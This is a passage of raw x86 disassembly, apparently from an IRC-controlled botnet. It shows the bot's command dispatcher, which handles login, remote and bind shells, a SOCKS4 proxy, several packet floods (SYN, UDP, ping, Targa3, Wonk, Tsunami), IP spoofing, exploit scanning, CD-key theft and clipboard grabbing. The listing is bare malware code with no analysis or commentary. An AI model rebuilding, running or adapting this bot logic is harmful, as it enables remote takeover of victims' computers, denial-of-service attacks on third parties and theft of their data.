call sub_41E860
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_2910], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_290C], eax
lea eax, [ebp+4Ch+var_D0]
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42FAC0
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 1Bh
push eax
call sub_40AE85
add esp, 34h
mov [ebp+4Ch+var_2914], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_2AB8]
push eax
push offset byte_418799
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_2914]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_4030BD
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42FA88
jmp loc_408D01
; ---------------------------------------------------------------------------
loc_4030B5: ; CODE XREF: sub_40274D+976j
push 32h
call ds:dword_42B014 ; Sleep
loc_4030BD: ; CODE XREF: sub_40274D+955j
cmp [ebp+4Ch+var_2908], ebx
jz short loc_4030B5
jmp loc_408D10
; ---------------------------------------------------------------------------
loc_4030CA: ; CODE XREF: sub_40274D+89Ej
lea eax, [ebp+4Ch+var_D0]
push eax
push offset unk_42FA58
jmp loc_408D01
; ---------------------------------------------------------------------------
loc_4030DB: ; CODE XREF: sub_40274D+88Ej
lea eax, [ebp+4Ch+var_D0]
push eax
push offset unk_42FA24
jmp loc_408D01
; ---------------------------------------------------------------------------
loc_4030EC: ; CODE XREF: sub_40274D+62Ej
mov eax, [ebp+4Ch+var_10]
lea ecx, [eax+1]
mov al, [eax]
cmp al, ds:byte_43C08C
mov [edi], ecx
jnz loc_402B92
loc_403102: ; CODE XREF: sub_40274D+885j
mov edi, [edi]
push edi
push offset aLogin ; "login"
mov [ebp+4Ch+var_10], edi
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40A0B6
push edi
push offset asc_42FA20 ; "l"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40A0B6
cmp [ebp+4Ch+var_14], ebx
jnz short loc_40314D
push [ebp+4Ch+var_A0]
push offset dword_42FBF4
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_404979
loc_40314D: ; CODE XREF: sub_40274D+9E7j
cmp [ebp+4Ch+arg_28], ebx
jnz loc_404979
xor edi, edi
cmp ds:dword_43C4A0, ebx
jle loc_4032D6
mov [ebp+4Ch+var_14], offset dword_4D1450
loc_40316B: ; CODE XREF: sub_40274D+A3Dj
push [ebp+4Ch+var_10]
push [ebp+4Ch+var_14]
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz short loc_403191
add [ebp+4Ch+var_14], 0B8h
inc edi
cmp edi, ds:dword_43C4A0
jl short loc_40316B
jmp loc_4032D6
; ---------------------------------------------------------------------------
loc_403191: ; CODE XREF: sub_40274D+A2Dj
push offset asc_42FCE4 ; " :"
push [ebp+4Ch+arg_0]
call sub_41F090
cmp eax, ebx
pop ecx
pop ecx
jz loc_402B92
mov cl, ds:byte_43C08C
imul edi, 0B8h
mov [eax+2], cl
mov cl, ds:byte_43C08C
mov [eax+3], cl
push 9Fh
lea ecx, dword_4D1468[edi]
push ecx
add eax, 4
push eax
call sub_41E860
lea eax, dword_4D1450[edi]
add esp, 0Ch
mov [ebp+4Ch+var_14], 0Fh
mov [ebp+4Ch+var_24], eax
lea edi, [ebp+esi+4Ch+var_64]
loc_4031EC: ; CODE XREF: sub_40274D+B2Aj
push [ebp+4Ch+var_14]
lea eax, [ebp+4Ch+var_B4]
push offset aD ; "$%d-"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_B4]
push eax
push [ebp+4Ch+arg_0]
call sub_41F090
add esp, 14h
test eax, eax
jz short loc_403245
cmp [edi], ebx
jz short loc_403249
push [ebp+4Ch+var_24]
call sub_41E1C0
add [ebp+4Ch+var_18], eax
pop ecx
jz short loc_40326E
push dword ptr [edi-4]
push [ebp+4Ch+var_18]
call sub_41F090
cmp eax, ebx
pop ecx
pop ecx
jz short loc_40326E
push eax
lea eax, [ebp+4Ch+var_B4]
push eax
push [ebp+4Ch+arg_0]
call sub_41AB7D
add esp, 0Ch
jmp short loc_40326E
; ---------------------------------------------------------------------------
loc_403245: ; CODE XREF: sub_40274D+AC1j
cmp [edi], ebx
jnz short loc_40326E
loc_403249: ; CODE XREF: sub_40274D+AC5j
push 2
lea eax, [ebp+4Ch+var_B4]
push eax
lea eax, [ebp+4Ch+var_A8]
push eax
call sub_41E860
lea eax, [ebp+4Ch+var_A8]
push eax
lea eax, [ebp+4Ch+var_B4]
push eax
push [ebp+4Ch+arg_0]
mov [ebp+4Ch+var_A6], bl
call sub_41AB7D
add esp, 18h
loc_40326E: ; CODE XREF: sub_40274D+AD3j
; sub_40274D+AE4j ...
dec [ebp+4Ch+var_14]
sub edi, 4
cmp [ebp+4Ch+var_14], ebx
jg loc_4031EC
lea eax, [ebp+esi+4Ch+var_64]
mov [ebp+4Ch+var_14], 10h
mov edi, eax
loc_40328A: ; CODE XREF: sub_40274D+B80j
push [ebp+4Ch+var_14]
lea eax, [ebp+4Ch+var_B4]
push offset aD_1 ; "$%d"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_B4]
push eax
push [ebp+4Ch+arg_0]
call sub_41F090
add esp, 14h
test eax, eax
jz short loc_4032C4
mov eax, [edi]
cmp eax, ebx
jz short loc_4032C4
push eax
lea eax, [ebp+4Ch+var_B4]
push eax
push [ebp+4Ch+arg_0]
call sub_41AB7D
add esp, 0Ch
loc_4032C4: ; CODE XREF: sub_40274D+B5Fj
; sub_40274D+B65j
dec [ebp+4Ch+var_14]
sub edi, 4
cmp [ebp+4Ch+var_14], ebx
jg short loc_40328A
mov [ebp+4Ch+var_8], 1
loc_4032D6: ; CODE XREF: sub_40274D+A11j
; sub_40274D+A3Fj
mov eax, [ebp+4Ch+var_10]
mov al, [eax]
cmp al, ds:byte_43C08C
jz short loc_4032EC
cmp [ebp+4Ch+var_8], ebx
jz loc_40349C
loc_4032EC: ; CODE XREF: sub_40274D+B94j
push [ebp+4Ch+arg_10]
mov edi, [ebp+4Ch+arg_0]
push offset aMe ; "$me"
push edi
call sub_41AB7D
lea eax, [ebp+4Ch+var_D0]
push eax
push offset aUser ; "$user"
push edi
call sub_41AB7D
push [ebp+4Ch+var_9C]
push offset aChan ; "$chan"
push edi
call sub_41AB7D
push ebx
push ebx
lea eax, [ebp+4Ch+var_B4]
push 2
push eax
call sub_40AB83
push eax
push offset aRndnick ; "$rndnick"
push edi
call sub_41AB7D
add esp, 40h
push [ebp+4Ch+arg_14]
push offset aServer ; "$server"
push edi
call sub_41AB7D
mov edi, offset aChr ; "$chr("
push edi
push [ebp+4Ch+arg_0]
call sub_41F090
add esp, 14h
jmp loc_403420
; ---------------------------------------------------------------------------
loc_40335D: ; CODE XREF: sub_40274D+CD5j
push edi
push [ebp+4Ch+arg_0]
call sub_41F090
mov [ebp+4Ch+var_24], eax
add eax, 5
push 4
push eax
lea eax, [ebp+4Ch+var_B4]
push eax
call sub_41E860
lea eax, [ebp+4Ch+var_B4]
push offset asc_42F9E0 ; ")"
push eax
call sub_41E7B2
add esp, 1Ch
cmp [ebp+4Ch+var_B4], 30h
jl short loc_403395
cmp [ebp+4Ch+var_B4], 39h
jle short loc_4033A8
loc_403395: ; CODE XREF: sub_40274D+C40j
push 3
lea eax, [ebp+4Ch+var_B4]
push offset a63 ; "63"
push eax
call sub_41E860
add esp, 0Ch
loc_4033A8: ; CODE XREF: sub_40274D+C46j
lea eax, [ebp+4Ch+var_B4]
push eax
call sub_41E7AD
test eax, eax
pop ecx
jle short loc_4033C5
lea eax, [ebp+4Ch+var_B4]
push eax
call sub_41E7AD
pop ecx
mov [ebp+4Ch+var_A8], al
jmp short loc_4033D6
; ---------------------------------------------------------------------------
loc_4033C5: ; CODE XREF: sub_40274D+C67j
call sub_41ECDE
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+4Ch+var_A8], dl
loc_4033D6: ; CODE XREF: sub_40274D+C76j
lea eax, [ebp+4Ch+var_B4]
push eax
mov [ebp+4Ch+var_A7], bl
call sub_41E1C0
push 0Ch
mov [ebp+4Ch+var_14], eax
lea eax, [ebp+4Ch+var_B4]
push ebx
push eax
call sub_41E5F0
mov eax, [ebp+4Ch+var_14]
add eax, 6
push eax
push [ebp+4Ch+var_24]
lea eax, [ebp+4Ch+var_B4]
push eax
call sub_41E860
lea eax, [ebp+4Ch+var_A8]
push eax
lea eax, [ebp+4Ch+var_B4]
push eax
push [ebp+4Ch+arg_0]
call sub_41AB7D
push edi
push [ebp+4Ch+arg_0]
call sub_41F090
add esp, 30h
loc_403420: ; CODE XREF: sub_40274D+C0Bj
test eax, eax
jnz loc_40335D
mov edi, 1FFh
push edi
push [ebp+4Ch+arg_0]
lea eax, [ebp+4Ch+var_4590]
push eax
call sub_41E860
push edi
lea eax, [ebp+4Ch+var_4590]
push eax
lea eax, [ebp+4Ch+var_4AF8]
push eax
call sub_41E860
mov edi, offset asc_42FCE0 ; " "
lea eax, [ebp+4Ch+var_4AF8]
push edi
push eax
call sub_41E7B2
add esp, 20h
mov [ebp+4Ch+var_A4], eax
mov [ebp+4Ch+var_24], 1
loc_403470: ; CODE XREF: sub_40274D+D3Aj
push edi
push ebx
call sub_41E7B2
pop ecx
pop ecx
mov ecx, [ebp+4Ch+var_24]
inc [ebp+4Ch+var_24]
cmp [ebp+4Ch+var_24], 20h
mov [ebp+ecx*4+4Ch+var_A4], eax
jl short loc_403470
lea eax, [ebp+esi+4Ch+var_A4]
mov ecx, [eax]
cmp ecx, ebx
jz loc_402B92
add ecx, 3
mov [eax], ecx
loc_40349C: ; CODE XREF: sub_40274D+B99j
mov edi, [ebp+esi+4Ch+var_A4]
push edi
push offset aRndnick_0 ; "rndnick"
mov [ebp+4Ch+var_10], edi
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40A067
push edi
push offset aRn ; "rn"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40A067
push edi
push offset aDie ; "die"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_405446
push edi
push offset aD_0 ; "d"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_405446
push edi
push offset aLogout ; "logout"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4053AE
push edi
push offset aLo ; "lo"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4053AE
push edi
push offset aVersion ; "version"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40539F
push edi
push offset aVer ; "ver"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40539F
push edi
push offset aDedication ; "dedication"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_405395
push edi
push offset aDed ; "ded"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_405395
push edi
push offset aSpeedtest ; "speedtest"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_405382
push edi
push offset aSt ; "st"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_405382
push edi
push offset aSecure ; "secure"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_405288
push edi
push offset aSec ; "sec"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_405288
push edi
push offset aUnsecure ; "unsecure"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_405288
push edi
push offset aUnsec ; "unsec"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_405288
push edi
push offset aBindshell ; "bindshell"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40518C
push edi
push offset aBd ; "bd"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40518C
push edi
push offset aBindshellstop ; "bindshellstop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_403643
push [ebp+esi+4Ch+var_A0]
push 6
push offset aServer_0 ; "Server"
push offset dword_42F934
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_403643: ; CODE XREF: sub_40274D+EDFj
push edi
push offset aSocks4 ; "socks4"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_405074
push edi
push offset aS4 ; "s4"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_405074
push edi
push offset aSocks4stop ; "socks4stop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_403693
push [ebp+esi+4Ch+var_A0]
push 19h
push offset aServer_0 ; "Server"
push offset dword_42F90C
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_403693: ; CODE XREF: sub_40274D+F2Fj
push edi
push offset aRloginstop ; "rloginstop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_4036B9
push [ebp+esi+4Ch+var_A0]
push 9
push offset aServer_0 ; "Server"
push offset dword_42F8F0
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_4036B9: ; CODE XREF: sub_40274D+F55j
push edi
push offset aHttpstop ; "httpstop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_4036DF
push [ebp+esi+4Ch+var_A0]
push 3
push offset aServer_0 ; "Server"
push offset dword_42F8D4
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_4036DF: ; CODE XREF: sub_40274D+F7Bj
push edi
push offset aLogstop ; "logstop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_403705
push [ebp+esi+4Ch+var_A0]
push 25h
push offset aLogList ; "Log list"
push offset dword_42F8B4
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_403705: ; CODE XREF: sub_40274D+FA1j
push edi
push offset aRedirectstop ; "redirectstop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_40372B
push [ebp+esi+4Ch+var_A0]
push 18h
push offset aTcpRedirect ; "TCP redirect"
push offset dword_42F884
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_40372B: ; CODE XREF: sub_40274D+FC7j
push edi
push offset aDdos_stop ; "ddos.stop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_403751
push [ebp+esi+4Ch+var_A0]
push 0Dh
push offset aDdosFlood ; "DDoS flood"
push offset dword_42F860
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_403751: ; CODE XREF: sub_40274D+FEDj
push edi
push offset aSynstop ; "synstop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_403777
push [ebp+esi+4Ch+var_A0]
push 0Eh
push offset aSynFlood ; "Syn flood"
push offset dword_42F840
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_403777: ; CODE XREF: sub_40274D+1013j
push edi
push offset aSkysynstop ; "skysynstop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_40379D
push [ebp+esi+4Ch+var_A0]
push 10h
push offset aSkysynFlood ; "SkySyn flood"
push offset dword_42F814
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_40379D: ; CODE XREF: sub_40274D+1039j
push edi
push offset aTarga3stop ; "targa3stop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_4037C3
push [ebp+esi+4Ch+var_A0]
push 11h
push offset aTarga3Flood ; "Targa3 flood"
push offset dword_42F7E8
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_4037C3: ; CODE XREF: sub_40274D+105Fj
push edi
push offset aWonkstop ; "wonkstop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_4037E9
push [ebp+esi+4Ch+var_A0]
push 12h
push offset aWonkFlood ; "Wonk flood"
push offset dword_42F7C4
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_4037E9: ; CODE XREF: sub_40274D+1085j
push edi
push offset aPacketstop ; "packetstop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_40391E
mov esi, [ebp+esi+4Ch+var_A0]
mov edi, [ebp+4Ch+arg_4]
push esi
push 0Dh
push offset aDdosFlood ; "DDoS flood"
push offset dword_42F860
push 1
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push edi
call sub_40B0BB
push esi
push 0Eh
push offset aSynFlood ; "Syn flood"
push offset dword_42F840
push 1
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push edi
call sub_40B0BB
add esp, 40h
push esi
push 17h
push offset aUdpFlood ; "UDP flood"
push offset dword_42F7A0
push 1
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push edi
call sub_40B0BB
push esi
push 16h
push offset aPingFlood ; "Ping flood"
push offset dword_42F788
push 1
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push edi
call sub_40B0BB
add esp, 40h
push esi
push 11h
push offset aTarga3Flood ; "Targa3 flood"
push offset dword_42F7E8
push 1
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push edi
call sub_40B0BB
push esi
push 12h
push offset aWonkFlood ; "Wonk flood"
push offset dword_42F7C4
push 1
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push edi
call sub_40B0BB
add esp, 40h
push esi
push 0Fh
push offset aTsunamiFlood ; "Tsunami flood"
push offset dword_42F768
push 1
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push edi
call sub_40B0BB
push esi
push 13h
push offset aWisdomAttack ; "Wisdom attack"
push offset dword_42F748
push 1
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push edi
call sub_40B0BB
add esp, 40h
push esi
push 10h
push offset aSkysynFlood ; "SkySyn flood"
push offset dword_42F814
push 1
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push edi
call sub_40B0BB
push ebx
push [ebp+4Ch+var_4]
push offset unk_42F714
push [ebp+4Ch+var_9C]
push edi
call sub_40123B
add esp, 34h
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_40391E: ; CODE XREF: sub_40274D+10ABj
push edi
push offset aTsunamistop ; "tsunamistop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_403944
push [ebp+esi+4Ch+var_A0]
push 0Fh
push offset aTsunamiFlood ; "Tsunami flood"
push offset dword_42F768
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_403944: ; CODE XREF: sub_40274D+11E0j
push edi
push offset aWisdomstop ; "wisdomstop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_40396A
push [ebp+esi+4Ch+var_A0]
push 13h
push offset aWisdomAttack ; "Wisdom attack"
push offset dword_42F748
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_40396A: ; CODE XREF: sub_40274D+1206j
push edi
push offset aUdpstop ; "udpstop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_403990
push [ebp+esi+4Ch+var_A0]
push 17h
push offset aUdpFlood ; "UDP flood"
push offset dword_42F7A0
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_403990: ; CODE XREF: sub_40274D+122Cj
push edi
push offset aPingstop ; "pingstop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_4039B6
push [ebp+esi+4Ch+var_A0]
push 16h
push offset aPingFlood ; "Ping flood"
push offset dword_42F788
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_4039B6: ; CODE XREF: sub_40274D+1252j
push edi
push offset aTftpstop ; "tftpstop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_4039DC
push [ebp+esi+4Ch+var_A0]
push 5
push offset aServer_0 ; "Server"
push offset dword_42F6CC
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_4039DC: ; CODE XREF: sub_40274D+1278j
push edi
push offset aFindfilestop ; "findfilestop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40504B
push edi
push offset aFfstop ; "ffstop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40504B
push edi
push offset aProcsstop ; "procsstop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_405039
push edi
push offset aPsstop ; "psstop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_405039
push edi
push offset aClonestop ; "clonestop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_403A56
push [ebp+esi+4Ch+var_A0]
push 1Fh
push offset aClone ; "Clone"
push offset dword_42F67C
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_403A56: ; CODE XREF: sub_40274D+12F2j
push edi
push offset aSecurestop ; "securestop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_403A7C
push [ebp+esi+4Ch+var_A0]
push 22h
push offset aSecure_0 ; "Secure"
push offset dword_42F658
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_403A7C: ; CODE XREF: sub_40274D+1318j
push edi
push offset aScanstop ; "scanstop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_403AA2
push [ebp+esi+4Ch+var_A0]
push 0Bh
push offset aScan ; "Scan"
push offset dword_42F638
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_403AA2: ; CODE XREF: sub_40274D+133Ej
push edi
push offset aScanstats ; "scanstats"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_405026
push edi
push offset aStats ; "stats"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_405026
push edi
push offset aTransferstats ; "transferstats"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_405013
push edi
push offset aTrstats ; "trstats"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_405013
push edi
push offset aConnectbacksta ; "connectbackstats"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_405000
push edi
push offset aCbstats ; "cbstats"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_405000
push edi
push offset aExploitlist ; "exploitlist"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404FED
push edi
push offset aExplist ; "explist"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404FED
push edi
push offset aReconnect ; "reconnect"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404FCC
push edi
push offset aR ; "r"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404FCC
push edi
push offset aDisconnect ; "disconnect"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404FAA
push edi
push offset aDc ; "dc"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404FAA
push edi
push offset aQuit_0 ; "quit"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404F64
push edi
push offset aQ ; "q"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404F64
push edi
push offset aStatus ; "status"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404F29
push edi
push offset aS_5 ; "s"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404F29
push edi
push offset aId ; "id"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404EF5
push edi
push offset aI ; "i"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404EF5
push edi
push offset aReboot ; "reboot"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_403C6B
call sub_41AEBB
test eax, eax
mov eax, offset unk_42F574
jnz short loc_403C40
mov eax, offset unk_42F54C
loc_403C40: ; CODE XREF: sub_40274D+14ECj
push eax
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41E6A6
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
add esp, 1Ch
jmp loc_408D10
; ---------------------------------------------------------------------------
loc_403C6B: ; CODE XREF: sub_40274D+14DEj
push edi
push offset aThreads ; "threads"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404E1D
push edi
push offset aT ; "t"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404E1D
push edi
push offset aAliases ; "aliases"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404E00
push edi
push offset aAl ; "al"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404E00
push edi
push offset aLog ; "log"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404D17
push edi
push offset aLg ; "lg"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404D17
push edi
push offset aClearlog ; "clearlog"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404CFE
push edi
push offset aClg ; "clg"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404CFE
push edi
push offset aNetinfo ; "netinfo"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404CCF
push edi
push offset aNi ; "ni"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404CCF
push edi
push offset aSysinfo ; "sysinfo"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404CA4
push edi
push offset aSi ; "si"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404CA4
push edi
push offset aRemove ; "remove"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404C6F
push edi
push offset aRm ; "rm"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404C6F
push edi
push offset aProcs ; "procs"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404B59
push edi
push offset aPs ; "ps"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404B59
push edi
push offset aGetcdkeys ; "getcdkeys"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404B35
push edi
push offset aKey ; "key"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404B35
push edi
push offset aUptime ; "uptime"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404AB7
push edi
push offset aUp ; "up"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404AB7
push edi
push offset aDriveinfo ; "driveinfo"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404AA0
push edi
push offset aDrv ; "drv"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404AA0
push edi
push offset aTestdlls ; "testdlls"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404A8A
push edi
push offset aDll ; "dll"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404A8A
push edi
push offset aOpencmd ; "opencmd"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404A1C
push edi
push offset aOcmd ; "ocmd"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_404A1C
push edi
push offset aCmdstop ; "cmdstop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_403EB3
push [ebp+esi+4Ch+var_A0]
push 0Ah
push offset aRemoteShell ; "Remote shell"
push offset dword_42F47C
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_403EB3: ; CODE XREF: sub_40274D+174Fj
push edi
push offset dword_42F478
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_403FC1
cmp [ebp+4Ch+var_C], ebx
jnz short loc_403EE4
push ebx
push [ebp+4Ch+var_4]
push offset dword_42F464
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
add esp, 14h
loc_403EE4: ; CODE XREF: sub_40274D+177Ej
mov eax, [ebp+4Ch+arg_18]
mov [ebp+4Ch+var_24], ebx
mov [ebp+4Ch+var_14], eax
jmp short loc_403EF2
; ---------------------------------------------------------------------------
loc_403EEF: ; CODE XREF: sub_40274D+17EEj
mov eax, [ebp+4Ch+var_14]
loc_403EF2: ; CODE XREF: sub_40274D+17A0j
cmp [eax], bl
jz short loc_403EF9
inc eax
jmp short loc_403EFE
; ---------------------------------------------------------------------------
loc_403EF9: ; CODE XREF: sub_40274D+17A7j
mov eax, offset aEmpty ; "<Empty>"
loc_403EFE: ; CODE XREF: sub_40274D+17AAj
push eax
push [ebp+4Ch+var_24]
lea eax, [ebp+4Ch+var_2D0]
push offset aD_S ; "%d. %s"
push eax
call sub_41E6A6
push 1
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
add [ebp+4Ch+var_14], 80h
add esp, 24h
inc [ebp+4Ch+var_24]
cmp [ebp+4Ch+var_24], 3
jl short loc_403EEF
push offset unk_42F430
call sub_417D70
pop ecx
loc_403F48: ; CODE XREF: sub_40274D+1A74j
; sub_40274D+2D0Aj
mov eax, [ebp+esi+4Ch+var_A0]
cmp eax, ebx
mov [ebp+4Ch+var_8], eax
jz loc_402B92
push edi
push offset aSpoof ; "spoof"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_405563
mov esi, [ebp+4Ch+var_8]
push offset aOff ; "off"
push esi
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_405469
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42F3FC
push eax
mov ds:dword_4D5898, ebx
call sub_41E6A6
pop ecx
pop ecx
loc_403F9D: ; CODE XREF: sub_40274D+2DBDj
; sub_40274D+2DE3j ...
cmp [ebp+4Ch+var_C], ebx
jnz loc_404979
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
jmp loc_409FDB
; ---------------------------------------------------------------------------
loc_403FC1: ; CODE XREF: sub_40274D+1775j
push edi
push offset aGetclip ; "getclip"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4049DC
push edi
push offset aGc ; "gc"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4049DC
push edi
